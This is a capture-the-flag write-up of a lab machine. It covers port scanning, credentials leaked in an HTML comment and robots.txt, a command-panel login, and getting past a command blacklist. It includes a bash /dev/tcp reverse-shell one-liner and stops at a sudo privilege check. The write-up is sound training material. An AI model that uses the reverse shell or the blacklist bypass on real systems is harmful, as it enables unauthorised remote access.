Enumeration

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-07 14:17 E. Africa Standard Time

Nmap scan report for 10.10.170.149
Host is up (0.35s latency).
Not shown: 98 closed tcp ports (reset)

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 18.04 seconds

We got 2 ports up , 22 and 80

Opening up port 80 from the browser, and reading the source code I get :

 <!--

    Note to self, remember username!

    Username: R1ckRul3s

  -->

We have a username : R1ckRul3s , and viewing the robots.txt file I get something (a weird string) : Wubbalubbadubdub

I assume that might be the password of the username or a path, but nope it's obviously not a path since it's giving 404 Not Found error.

I now perform a directory search , to look for any file/folder that is available.

We get login.php , and that's look valid:)

I use the username and password(I guess) that we found earlier , from comment and robots.txt to login:

username : R1ckRul3s
password : Wubbalubbadubdub

FootHold

I was able to Run commands after loggin in , as shown below!

Except trying to read a file using cat I was receiving a weird GIF , that insulted my skills:

Basically it has some commands that are blacklisted , but we can still read the files, I hope!

Using grep . <filename> I was able to read the files.

I now grab my revshell , I first check if nc or netcat is in the system , and luckily it is in the system:

but despite it being there it doesn't actually seem to execute / work.

with bash -c "bash -i &>/dev/tcp/<ip>/<port> <&1" I was able to get a reverse shell and the second ingredient was in /home/rick and the third ingredient was in /root/

PRIVESC

Running sudo -l I was able to see that I have permission to run as sudo in the whole system without having to enter a password:

---